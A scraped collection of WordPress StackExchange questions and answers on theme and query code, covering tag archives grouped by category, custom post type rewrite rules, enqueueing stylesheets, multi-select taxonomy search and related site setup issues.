<p>How to query posts from categories with specific tags? For Example if I visit "<strong>localhost/tag/tutorial</strong>" the archive page would show all post from all category with tutorial tag.</p> <p>But the view would be seperated by category. For example:</p> <p>Category 1</p> <ul> <li>Category 1 Post 1 With tutorial tag</li> <li>Category 1 Post 2 with tutorial tag</li> </ul> <p>Category 2</p> <ul> <li>Category 2 Post 2 With tutorial tag</li> <li>Category 2 Post 10 With tutorial tag</li> </ul> <p>NB: The posts show in each categories with same tags.</p> <p>I have a code that show latest posts in each categories</p> <pre><code>&lt;?php $categories = get_categories(); foreach($categories as $category) { ?&gt; &lt;div class="CategoryPost"&gt; &lt;h2&gt;&lt;?php echo $category-&gt;name; ?&gt;&lt;/h2&gt; &lt;ul&gt; &lt;?php $post_args = array( 'category' =&gt; $category-&gt;term_id, 'numberposts' =&gt; 9999, 'orderby'=&gt; 'post_date', 'order' =&gt; 'ASC', 'post_type' =&gt; 'post' ); $posts = get_posts($post_args); foreach($posts as $post) { ?&gt; &lt;li id="post-&lt;?php the_ID(); ?&gt;"&gt;&lt;span&gt;&lt;?php the_time('d M Y') ?&gt;&lt;/span&gt; &lt;i class="Seperate"&gt;&amp;raquo;&lt;/i&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php } ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;?php } wp_reset_postdata(); ?&gt; </code></pre> <p>The code above would show latest posts in each category with this look.</p> <p>Category 1 Name</p> <ul> <li>Category 1 Post 1</li> <li>Category 1 Post 2</li> </ul> <p>Category 2 Name</p> <ul> <li>Category 1 Post 1</li> <li>Category 1 Post 2</li> </ul> <p>Category 3 Name</p> <ul> <li>Category 1 Post 1</li> <li>Category 1 Post 2</li> </ul> <p>I would like to make a tags archive that work with that template and the posts would be shown in each categories even the posts have the same tags.</p>
[ { "answer_id": 282421, "author": "Sid", "author_id": 110516, "author_profile": "https://wordpress.stackexchange.com/users/110516", "pm_score": 0, "selected": false, "text": "<p>Please try this one and let me know if it helps.</p>\n\n<pre><code>&lt;?php\n $categories = get_categori...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282414", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129329/" ]
How to query posts from categories with specific tags? For Example if I visit "**localhost/tag/tutorial**" the archive page would show all post from all category with tutorial tag. But the view would be seperated by category. For example: Category 1 * Category 1 Post 1 With tutorial tag * Category 1 Post 2 with tutorial tag Category 2 * Category 2 Post 2 With tutorial tag * Category 2 Post 10 With tutorial tag NB: The posts show in each categories with same tags. I have a code that show latest posts in each categories ``` <?php $categories = get_categories(); foreach($categories as $category) { ?> <div class="CategoryPost"> <h2><?php echo $category->name; ?></h2> <ul> <?php $post_args = array( 'category' => $category->term_id, 'numberposts' => 9999, 'orderby'=> 'post_date', 'order' => 'ASC', 'post_type' => 'post' ); $posts = get_posts($post_args); foreach($posts as $post) { ?> <li id="post-<?php the_ID(); ?>"><span><?php the_time('d M Y') ?></span> <i class="Seperate">&raquo;</i> <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li> <?php } ?> </ul> </div> <?php } wp_reset_postdata(); ?> ``` The code above would show latest posts in each category with this look. Category 1 Name * Category 1 Post 1 * Category 1 Post 2 Category 2 Name * Category 1 Post 1 * Category 1 Post 2 Category 3 Name * Category 1 Post 1 * Category 1 Post 2 I would like to make a tags archive that work with that template and the posts would be shown in each categories even the posts have the same tags.
This will help to get the category post on tag archive page. Let me know. ``` <?php $current_tag = single_tag_title( $prefix = '', $display = false ); $categories = get_categories( array('hide_empty' => TRUE) ); foreach($categories as $category) { ?> <?php $args=array( 'posts_per_page' => -1, 'tag' => $current_tag, 'cat' => $category->term_id, ); $the_query = new WP_Query( $args ); if ( $the_query->have_posts() ) { ?> <div class="CategoryPost"> <h2><?php echo "Tag: " . $current_tag; ?></h2> <h2><?php echo "Category: " . $category->name; ?></h2> <ul> <?php echo '<ul>'; while ( $the_query->have_posts() ) { $the_query->the_post(); echo '<li>Post title: ' . get_the_title() . '</li>'; } echo '</ul></ul></div><br>'; } ?> <?php } wp_reset_postdata(); ```
282,423
<p>I've gone through four or five Codex pages, a dozens Stackexchange pages, and four or five dev blogs trying to solve this. </p> <p>I have a custom post type called authors. The CPT is set up correctly, I pulled the CPT framework from the Codex, and I've checked it against a CPT generator. The Admin screens create, edit, and list Author posts correctly, and the URLs are in the correct format of <code>example.com/author/post_name/</code>. Author archives also work. </p> <p>But nothing I do will display that page on the front end. It's nothing but 404s. </p> <p>I have flushed the rewrite a dozen times though the Permalinks page and WP-CLI. I have also installed Custom Post Type Permalinks and have the same issue. </p> <p>CPT is here:</p> <pre><code>add_action( 'init', 'to4_cpt_author' ); function to4_cpt_author() { $labels = array( 'name' =&gt; _x( 'Authors', 'post type general name' ), 'singular_name' =&gt; _x( 'Author', 'post type singular name' ), 'menu_name' =&gt; _x( 'Authors', 'admin menu' ), 'name_admin_bar' =&gt; _x( 'Author', 'add new on admin bar' ), 'add_new' =&gt; _x( 'Add New', 'author' ), 'add_new_item' =&gt; __( 'Add New Author' ), 'new_item' =&gt; __( 'New Author' ), 'edit_item' =&gt; __( 'Edit Author' ), 'view_item' =&gt; __( 'View Author' ), 'all_items' =&gt; __( 'All Authors' ), 'search_items' =&gt; __( 'Search Authors' ), 'parent_item_colon' =&gt; __( 'Parent Authors:' ), 'not_found' =&gt; __( 'No authors found.' ), 'not_found_in_trash' =&gt; __( 'No authors found in Trash.' ) ); $args = array( 'labels' =&gt; $labels, 'description' =&gt; __( 'Author post type.' ), 'public' =&gt; true, 'publicly_queryable' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'query_var' =&gt; 'author', 'rewrite' =&gt; array('slug' =&gt; 'author', 'with_front' =&gt; true ), 'capability_type' =&gt; 'post', 'has_archive' =&gt; true, 'hierarchical' =&gt; false, 'menu_position' =&gt; 9, 'supports' =&gt; array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ), 'taxonomies' =&gt; array( 'admin_tag', 'post_tag' ), 'menu_icon' =&gt; 'dashicons-id-alt' ); register_post_type( 'author', $args ); } </code></pre> <p>I've installed the Query Monitor plugin and it tell me the following rewrites are matched. </p> <pre><code>All Matching Rewrite Rules Rule Query ([^/]*)/([^/]*)/?$ post_type=post &amp;name=$matches[2] &amp;meta=$matches[1] ^author/([^/]*)/? post_type=author &amp;name=$matches[1] author/([^/]+)(?:/([0-9]+))?/?$ author=$matches[1] &amp;page=$matches[2] (.?.+?)(?:/([0-9]+))?/?$ pagename=$matches[1] &amp;page=$matches[2] </code></pre> <p>The second query <code>^author/([^/]*)/?</code> is one I wrote using:</p> <pre><code>function to4_rewrite_rule() { add_rewrite_rule( '^author/([^/]*)/?', 'index.php?post_type=author&amp;name=$matches[1]','top' ); } add_action('init', 'to4_rewrite_rule', 10, 0); </code></pre> <p>But the top query seems to be getting matched first, which is why I am getting 404s. Query Monitor shows the generated query as <code>name=catherine-collins&amp;post_type=post</code> when it should be <code>name=catherine-collins &amp;post_type=author</code></p> <p>Where is that query coming from and how do I demote it? There's no other <code>add_rewrite_rule</code> anywhere in my theme or any plugin so I am guessing this is core. The theme is Twenty-Seventeen with my own custom plugin defining several Custom Post Types. </p>
[ { "answer_id": 282426, "author": "Slam", "author_id": 82256, "author_profile": "https://wordpress.stackexchange.com/users/82256", "pm_score": 0, "selected": false, "text": "<p>Yeah so it was user error after all.</p>\n\n<p>Months ago I had experiment with Yeost and had added a rewrite_ru...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282423", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/82256/" ]
I've gone through four or five Codex pages, a dozens Stackexchange pages, and four or five dev blogs trying to solve this. I have a custom post type called authors. The CPT is set up correctly, I pulled the CPT framework from the Codex, and I've checked it against a CPT generator. The Admin screens create, edit, and list Author posts correctly, and the URLs are in the correct format of `example.com/author/post_name/`. Author archives also work. But nothing I do will display that page on the front end. It's nothing but 404s. I have flushed the rewrite a dozen times though the Permalinks page and WP-CLI. I have also installed Custom Post Type Permalinks and have the same issue. CPT is here: ``` add_action( 'init', 'to4_cpt_author' ); function to4_cpt_author() { $labels = array( 'name' => _x( 'Authors', 'post type general name' ), 'singular_name' => _x( 'Author', 'post type singular name' ), 'menu_name' => _x( 'Authors', 'admin menu' ), 'name_admin_bar' => _x( 'Author', 'add new on admin bar' ), 'add_new' => _x( 'Add New', 'author' ), 'add_new_item' => __( 'Add New Author' ), 'new_item' => __( 'New Author' ), 'edit_item' => __( 'Edit Author' ), 'view_item' => __( 'View Author' ), 'all_items' => __( 'All Authors' ), 'search_items' => __( 'Search Authors' ), 'parent_item_colon' => __( 'Parent Authors:' ), 'not_found' => __( 'No authors found.' ), 'not_found_in_trash' => __( 'No authors found in Trash.' ) ); $args = array( 'labels' => $labels, 'description' => __( 'Author post type.' ), 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => 'author', 'rewrite' => array('slug' => 'author', 'with_front' => true ), 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' => false, 'menu_position' => 9, 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ), 'taxonomies' => array( 'admin_tag', 'post_tag' ), 'menu_icon' => 'dashicons-id-alt' ); register_post_type( 'author', $args ); } ``` I've installed the Query Monitor plugin and it tell me the following rewrites are matched. ``` All Matching Rewrite Rules Rule Query ([^/]*)/([^/]*)/?$ post_type=post &name=$matches[2] &meta=$matches[1] ^author/([^/]*)/? post_type=author &name=$matches[1] author/([^/]+)(?:/([0-9]+))?/?$ author=$matches[1] &page=$matches[2] (.?.+?)(?:/([0-9]+))?/?$ pagename=$matches[1] &page=$matches[2] ``` The second query `^author/([^/]*)/?` is one I wrote using: ``` function to4_rewrite_rule() { add_rewrite_rule( '^author/([^/]*)/?', 'index.php?post_type=author&name=$matches[1]','top' ); } add_action('init', 'to4_rewrite_rule', 10, 0); ``` But the top query seems to be getting matched first, which is why I am getting 404s. Query Monitor shows the generated query as `name=catherine-collins&post_type=post` when it should be `name=catherine-collins &post_type=author` Where is that query coming from and how do I demote it? There's no other `add_rewrite_rule` anywhere in my theme or any plugin so I am guessing this is core. The theme is Twenty-Seventeen with my own custom plugin defining several Custom Post Types.
While you've found the problem already, here is some basic code to move a specific rule to the end of the rewrite rules with the [rewrite\_rules\_array](https://codex.wordpress.org/Plugin_API/Filter_Reference/rewrite_rules_array) filter for people stumbling across a similar problem. Say I want to move the rule for `([^/]*)/([^/]*)/?$`: ``` add_filter("rewrite_rules_array", function($rules) { $keys = array_keys($rules); foreach($keys as $rule) { if($rule == '([^/]*)/([^/]*)/?$') { $value = $rules[$rule]; unset($rules[$rule]); $rules[$rule] = $value; break; } } return $rules; }); ``` Note that you'll need to flush/update the rules for this to have any effect. Saving your permalinks configuration in the backend is enough to accomplish that.
282,445
<p>i want to add an animated background to the front page of my website so i use <a href="http://vincentgarreau.com/particles.js/" rel="nofollow noreferrer">the following plugin</a> but the problem is that i must apply an id to the body and i don't know how can i do it in the right way, can anyone help me with that ?</p> <pre><code>&lt;body id="UNIQUE_ID_HERE"&gt; &lt;/body&gt; </code></pre> <p>P.S :i'm using a child theme</p>
[ { "answer_id": 282446, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>There's no filter or anything, so you'll need to edit the body tag directly in the child theme. It prob...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282445", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129355/" ]
i want to add an animated background to the front page of my website so i use [the following plugin](http://vincentgarreau.com/particles.js/) but the problem is that i must apply an id to the body and i don't know how can i do it in the right way, can anyone help me with that ? ``` <body id="UNIQUE_ID_HERE"> </body> ``` P.S :i'm using a child theme
Put this in your functions.php → ``` <?php function body_id_dynamic() { if (is_home()) { echo ' id="home"'; } elseif (is_single()) { echo ' id="single"'; } elseif (is_search()) { echo ' id="search"'; } elseif (is_archive()) { echo ' id="archive"'; } } ?> ``` and then this → ``` <body<?php body_id_dynamic(); body_class(); ?>> ``` > > P.S. → More customization is possible. This was to give you a clue. Add as many conditions as you want. > > >
282,467
<p>Is there a way to doing this easily like</p> <ol> <li>There are three or may be more</li> <li><p>I want to display the posts of above categories like</p> <pre><code>Bring posts from categories From Category A: 20% OR 2 From Category B: 50% OR 5 From Category C: 30% OR 3 </code></pre></li> <li><p>The categories may be odd or even as well as the ratio (percentage) etc.</p></li> </ol> <p>If there is a proper way around?</p>
[ { "answer_id": 282446, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>There's no filter or anything, so you'll need to edit the body tag directly in the child theme. It prob...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282467", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/73953/" ]
Is there a way to doing this easily like 1. There are three or may be more 2. I want to display the posts of above categories like ``` Bring posts from categories From Category A: 20% OR 2 From Category B: 50% OR 5 From Category C: 30% OR 3 ``` 3. The categories may be odd or even as well as the ratio (percentage) etc. If there is a proper way around?
Put this in your functions.php → ``` <?php function body_id_dynamic() { if (is_home()) { echo ' id="home"'; } elseif (is_single()) { echo ' id="single"'; } elseif (is_search()) { echo ' id="search"'; } elseif (is_archive()) { echo ' id="archive"'; } } ?> ``` and then this → ``` <body<?php body_id_dynamic(); body_class(); ?>> ``` > > P.S. → More customization is possible. This was to give you a clue. Add as many conditions as you want. > > >
282,493
<p>I have a search that works fine with custom fields, and one term per taxonomy. However I want to select multiple terms from one taxonomy "property-type".</p> <p>My current query looks like ---</p> <pre><code>/?s=Search&amp;property_city=Any+City&amp;property_state=Any+State&amp;address=&amp;beds=Any&amp;baths=Any&amp;min_price=Any&amp;max_price=Any&amp;property_type=condo&amp;property_type=duplex&amp;min_area=Any&amp;max_area=Any&amp;post_type=property&amp;hide-reports=list-property&amp;property-contract-type=for-sale </code></pre> <p>I need this to use OR operator when selecting multiple terms --</p> <pre><code> property_type=condo&amp;property_type=duplex </code></pre> <p>Like so -</p> <pre><code>property_type=condo,duplex </code></pre> <p>Currently in my theme's functions -- </p> <pre><code> $s = $_GET['s']; $meta_query=array(); if ($s == __('Search', 'framework')) { $query-&gt;set('s', ''); } $query-&gt;set('post_type', 'property'); $query-&gt;set('post_status','publish'); if (!empty($property_type)) { $query-&gt;set('property-type', $property_type); } if (!empty($property_city)) { $query-&gt;set('city-type',$property_city); } if (!empty($property_neighborhood)) { $query-&gt;set('neighborhood',$property_neighborhood); } if (!empty($property_contract_type)) { $query-&gt;set('property-contract-type', $property_contract_type); } </code></pre> <p>Full Code - <a href="https://pastebin.com/LC96j4v5" rel="nofollow noreferrer">https://pastebin.com/LC96j4v5</a></p> <p>On my form -</p> <pre><code>&lt;select name="property_type" class="form-control" multiple&gt; &lt;?php $terms = get_terms( "property-type", array( 'hide_empty' =&gt; 0 ) ); $count = count($terms); if ( $count &gt; 0 ){ echo "&lt;option class='button' value='Any'&gt;All&lt;/option&gt;"; foreach ( $terms as $term ) { echo "&lt;option class='button' value='" . $term-&gt;slug . "'&gt;" . $term-&gt;name . "&lt;/option&gt;"; } } ?&gt; &lt;/select&gt; </code></pre>
[ { "answer_id": 282790, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": true, "text": "<p>You need to make only one change in the form, change the first line to:</p>\n\n<pre><code>&lt;select ...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282493", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24067/" ]
I have a search that works fine with custom fields, and one term per taxonomy. However I want to select multiple terms from one taxonomy "property-type". My current query looks like --- ``` /?s=Search&property_city=Any+City&property_state=Any+State&address=&beds=Any&baths=Any&min_price=Any&max_price=Any&property_type=condo&property_type=duplex&min_area=Any&max_area=Any&post_type=property&hide-reports=list-property&property-contract-type=for-sale ``` I need this to use OR operator when selecting multiple terms -- ``` property_type=condo&property_type=duplex ``` Like so - ``` property_type=condo,duplex ``` Currently in my theme's functions -- ``` $s = $_GET['s']; $meta_query=array(); if ($s == __('Search', 'framework')) { $query->set('s', ''); } $query->set('post_type', 'property'); $query->set('post_status','publish'); if (!empty($property_type)) { $query->set('property-type', $property_type); } if (!empty($property_city)) { $query->set('city-type',$property_city); } if (!empty($property_neighborhood)) { $query->set('neighborhood',$property_neighborhood); } if (!empty($property_contract_type)) { $query->set('property-contract-type', $property_contract_type); } ``` Full Code - <https://pastebin.com/LC96j4v5> On my form - ``` <select name="property_type" class="form-control" multiple> <?php $terms = get_terms( "property-type", array( 'hide_empty' => 0 ) ); $count = count($terms); if ( $count > 0 ){ echo "<option class='button' value='Any'>All</option>"; foreach ( $terms as $term ) { echo "<option class='button' value='" . $term->slug . "'>" . $term->name . "</option>"; } } ?> </select> ```
You need to make only one change in the form, change the first line to: ``` <select name="property_type[]" class="form-control" multiple> ``` Name of the field has to include [] to be considered as an array when it arrives on the server side. In the query string it will be listed as: ``` property_type[]=condo&property_type[]=duplex ``` And, on server side, when you read this use this: ``` $property_type = (array)$_GET['property_type']; ``` This can go right at the top just after the `$s = $_GET['s'];` line, Make sure to sanitize all the input data before using. More on data sanitizing you can find here: [Validating Sanitizing and Escaping User Data](https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data)
282,494
<p>I’d like to update a simple static HTML site to WordPress. This would be my first WP site and I already have a theme in mind to use. The static HTML site has seven pages and an images sub folder in the root directory. </p> <p>My current thinking is to install WordPress into the root directory that the current static HTML site resides in, build it in the background and delete the old site(static HTML) when the WP site is ready to go. </p> <p>I know I’ll have two index files (index.html and index.php), but I believe I can specify the load order in .htaccess or through the site admin panel (need to look into to be sure).</p> <p>Would there be any concern installing WordPress into the root directory that the current HTML site resides in? I’m trying to avoid having to figure out moving the WP site either from a web subdirectory or locally on my PC(WAMP) to the web root. Just trying to make it as straightforward as possible without risking messing something up when moving it.</p> <p>Thank you for your time an insights.</p>
[ { "answer_id": 282790, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": true, "text": "<p>You need to make only one change in the form, change the first line to:</p>\n\n<pre><code>&lt;select ...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282494", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129375/" ]
I’d like to update a simple static HTML site to WordPress. This would be my first WP site and I already have a theme in mind to use. The static HTML site has seven pages and an images sub folder in the root directory. My current thinking is to install WordPress into the root directory that the current static HTML site resides in, build it in the background and delete the old site(static HTML) when the WP site is ready to go. I know I’ll have two index files (index.html and index.php), but I believe I can specify the load order in .htaccess or through the site admin panel (need to look into to be sure). Would there be any concern installing WordPress into the root directory that the current HTML site resides in? I’m trying to avoid having to figure out moving the WP site either from a web subdirectory or locally on my PC(WAMP) to the web root. Just trying to make it as straightforward as possible without risking messing something up when moving it. Thank you for your time an insights.
You need to make only one change in the form, change the first line to: ``` <select name="property_type[]" class="form-control" multiple> ``` Name of the field has to include [] to be considered as an array when it arrives on the server side. In the query string it will be listed as: ``` property_type[]=condo&property_type[]=duplex ``` And, on server side, when you read this use this: ``` $property_type = (array)$_GET['property_type']; ``` This can go right at the top just after the `$s = $_GET['s'];` line, Make sure to sanitize all the input data before using. More on data sanitizing you can find here: [Validating Sanitizing and Escaping User Data](https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data)
282,498
<p>I am trying to include a CSS file using wp_enqueue_style conditionally on whether I am on the front page. I am testing for the home page with this code:</p> <pre><code>if ( is_front_page() ) wp_enqueue_style ('TBDhome', get_template_directory_uri() . '/css/TBDhome.css','all'); </code></pre> <p>It worked find when I was testing in the header file and including the CSS file.</p>
[ { "answer_id": 282536, "author": "disinfor", "author_id": 103920, "author_profile": "https://wordpress.stackexchange.com/users/103920", "pm_score": 1, "selected": true, "text": "<p>Even though this question may get down voted - because not enough information has been provided and it's fa...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282498", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/127612/" ]
I am trying to include a CSS file using wp\_enqueue\_style conditionally on whether I am on the front page. I am testing for the home page with this code: ``` if ( is_front_page() ) wp_enqueue_style ('TBDhome', get_template_directory_uri() . '/css/TBDhome.css','all'); ``` It worked find when I was testing in the header file and including the CSS file.
Even though this question may get down voted - because not enough information has been provided and it's fairly easy to find tutorials elsewhere, I'll help you out. In your `functions.php` file in your theme, you need to do this: ``` add_action( 'wp_enqueue_scripts', 'wp5849_scripts' ); function wp5849_scripts() { if ( is_front_page() ) : wp_enqueue_style('TBDhome', get_stylesheet_directory_uri() . '/css/TBDhome.css'); endif; } ``` What this is doing: The first line `add_action` is the hook to run your function `wp5849_scripts()` at a certain point during WordPress's internal setup. You can read more about action hooks and filters in the [WordPress codex](https://developer.wordpress.org/reference/hooks/). The second part is the actual function to enqueue the stylesheet. Checks to see if it's the front page of the site, if it passes, it will load the stylesheet. I updated the directory to be `get_stylesheet_directory_uri()` because if you are using a child theme, `get_template_directory_uri()` will return the **PARENT** theme directory. `get_stylesheet_directory_uri()` will work with whatever theme is currently active (parent or child). You can read more on the arguments that are passed to `wp_enqueue_style` [here](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) As a note: you may already have a function that is enqueuing scripts and styles in your `functions.php` (look for the `add_action( 'wp_enqueue_scripts')` hook). If that's the case, you simply need to add: ``` if ( is_front_page() ) : wp_enqueue_style('TBDhome', get_stylesheet_directory_uri() . '/css/TBDhome.css'); endif; ``` to the function that the `add_action` is calling. I wanted to add this as an option. **EDIT:** It appears there may be a larger theme issue or setting issue, based on OP comments. Here is an option to place the stylesheet in the header.php ``` if ( is_front_page() ) { echo '<link rel="stylesheet" id="TBDHome-css" href="' . get_stylesheet_directory_uri() . '/css/TBDhome.css" type='text/css' media='all' /> } ```
282,519
<p>I am currently using a Mac computer and I cannot figure out how to refresh my website when I make changes to my WordPress stylesheet file. I have tried Cmd+R for hard reloading, I have tried emptying the caches, but nothing seems to work – the old version is still loaded nonetheless. </p> <p>I have used a windows computer before and every time I made a style change with my style.css sheet, I would just press ctrl + F5 and it would hard refresh right away. </p> <p>Does anyone know any tricks other than Cmd+R or clearing the caches to automatically refresh the stylesheet? </p>
[ { "answer_id": 300209, "author": "WP Vlad", "author_id": 141413, "author_profile": "https://wordpress.stackexchange.com/users/141413", "pm_score": 2, "selected": false, "text": "<p><strong>\"Quick\" fix</strong>: Right Click -> view page source ( ctrl+U ), find .css file you changed, ope...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282519", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125497/" ]
I am currently using a Mac computer and I cannot figure out how to refresh my website when I make changes to my WordPress stylesheet file. I have tried Cmd+R for hard reloading, I have tried emptying the caches, but nothing seems to work – the old version is still loaded nonetheless. I have used a windows computer before and every time I made a style change with my style.css sheet, I would just press ctrl + F5 and it would hard refresh right away. Does anyone know any tricks other than Cmd+R or clearing the caches to automatically refresh the stylesheet?
**"Quick" fix**: Right Click -> view page source ( ctrl+U ), find .css file you changed, open it in new tab and reload ( you should see change in place you've made it ) **ONLY in development mode** add php function time() in place of version number ``` wp_enqueue_style( $handle, $src, array(), time() , 'all' ); ``` Delete cache if you use caching plugin.
282,524
<p>I have a home template with a header, footer and a left sidebar.</p> <pre><code>&lt;?php get_header(); ?&gt; &lt;div class="content"&gt; &lt;?php get_sidebar('left'); ?&gt; &lt;div class="middlebar"&gt; this is the main content &lt;/div&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>After a click on one of the multiple options of the menu, the page template is loaded which has an additional right sidebar.</p> <pre><code>&lt;?php get_header(); ?&gt; &lt;div class="content"&gt; &lt;?php get_sidebar('left'); ?&gt; &lt;div class="middlebar"&gt; pagecontent &lt;/div&gt; &lt;?php get_sidebar('right'); ?&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>I animated this sidebar, that it slides in after the page is loaded.</p> <pre><code>jQuery(window).ready(function($){ $("#sidebarRight").animate({right: '0px'}); }); </code></pre> <p>My problem now is that the animation is played on every click on one of the menu points. So after a click on a link, the sidebar disappears only to reappear again. I want that the animation <em>is just played once when the user leaves the home template and enters the page template</em> (by clicking one of the menu points) and not during switching between the different pages.</p> <p>My first idea was to change the <code>middlebar div</code> with every click. So that not the whole page template is reloaded but just the new content is loaded and inserted in the div. A positive side effect would be that fewer data has to be loaded, but I was not able to prevent the multiple loading of the sidebar.</p> <p>I also tried to set cookies, but that worked neither.</p> <p>How can I load the sidebar only at the first click, so that the animation is also played just once.</p>
[ { "answer_id": 282540, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 1, "selected": false, "text": "<p>If you want a site that have a \"state\", you will need to develop the theme to produce a sort of \"One P...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282524", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/107094/" ]
I have a home template with a header, footer and a left sidebar. ``` <?php get_header(); ?> <div class="content"> <?php get_sidebar('left'); ?> <div class="middlebar"> this is the main content </div> </div> <?php get_footer(); ?> ``` After a click on one of the multiple options of the menu, the page template is loaded which has an additional right sidebar. ``` <?php get_header(); ?> <div class="content"> <?php get_sidebar('left'); ?> <div class="middlebar"> pagecontent </div> <?php get_sidebar('right'); ?> </div> <?php get_footer(); ?> ``` I animated this sidebar, that it slides in after the page is loaded. ``` jQuery(window).ready(function($){ $("#sidebarRight").animate({right: '0px'}); }); ``` My problem now is that the animation is played on every click on one of the menu points. So after a click on a link, the sidebar disappears only to reappear again. I want that the animation *is just played once when the user leaves the home template and enters the page template* (by clicking one of the menu points) and not during switching between the different pages. My first idea was to change the `middlebar div` with every click. So that not the whole page template is reloaded but just the new content is loaded and inserted in the div. A positive side effect would be that fewer data has to be loaded, but I was not able to prevent the multiple loading of the sidebar. I also tried to set cookies, but that worked neither. How can I load the sidebar only at the first click, so that the animation is also played just once.
you can write the script with a conditions ``` <?php is_front_page(){ ?> <script> jQuery(window).ready(function($){ $("#sidebarRight").animate({right: '0px'}); }); </script> <?php } ?> ``` alternatively you can set the cookie or localstorage that the animation has been completed ``` <script> if(!localStorage.getItem("animated")){ // check if the animated is set if not set do the animation jQuery(window).ready(function($){ jQuery("#sidebarRight").animate({right: '0px'}); localStorage.setItem("animated", "yes"); // after comleting the animation set the animated so that animation does not happen again }); } </script> ```
282,528
<p>Must have inadvertently changed something recently as when visiting the base URL (i.e. the homepage) for my local development site it returns a 404. All of the other pages seem to work fine.</p> <p>As per other SE posts on the topics, have tested changing the permalinks settings and the .htacess file, from what I can tell, seems to be set appropriately.</p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase /dwp-wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /dwp-wordpress/index.php [L] &lt;/IfModule&gt; # END WordPress </code></pre> <p>The front page is set to Home, but what's strange is when this is changed to Blog, the 404 is resolved and the front-page.php is pulled appropriately.</p> <p>Does anyone have any idea as to what might be causing this issue?</p>
[ { "answer_id": 282738, "author": "Pat J", "author_id": 16121, "author_profile": "https://wordpress.stackexchange.com/users/16121", "pm_score": 1, "selected": false, "text": "<p>I haven't been able to find out how to do this automatically, but you can do it manually: Go to <strong>Networ...
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282528", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128906/" ]
Must have inadvertently changed something recently as when visiting the base URL (i.e. the homepage) for my local development site it returns a 404. All of the other pages seem to work fine. As per other SE posts on the topics, have tested changing the permalinks settings and the .htacess file, from what I can tell, seems to be set appropriately. ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /dwp-wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /dwp-wordpress/index.php [L] </IfModule> # END WordPress ``` The front page is set to Home, but what's strange is when this is changed to Blog, the 404 is resolved and the front-page.php is pulled appropriately. Does anyone have any idea as to what might be causing this issue?
I haven't been able to find out how to do this automatically, but you can do it manually: Go to **Network Admin » Sites** and then click **Edit** on the site whose URL you want to change. You'll need to make sure that your DNS is set correctly. See [this answer](https://wordpress.stackexchange.com/a/184667/16121) (to a question that's pretty much the inverse of yours) for details.
282,542
<p>hey im trying to figure out how i can display only two terms that are associated with a custom post type. I tried using <code>$wpdb</code> but that doesn't work for me since i need the term links as well. any suggestions?</p> <p>thanks</p>
[ { "answer_id": 282555, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>Maybe this can help. First, get all the post's terms; then, cycle through them with a <code>foreach</code> l...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282542", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128699/" ]
hey im trying to figure out how i can display only two terms that are associated with a custom post type. I tried using `$wpdb` but that doesn't work for me since i need the term links as well. any suggestions? thanks
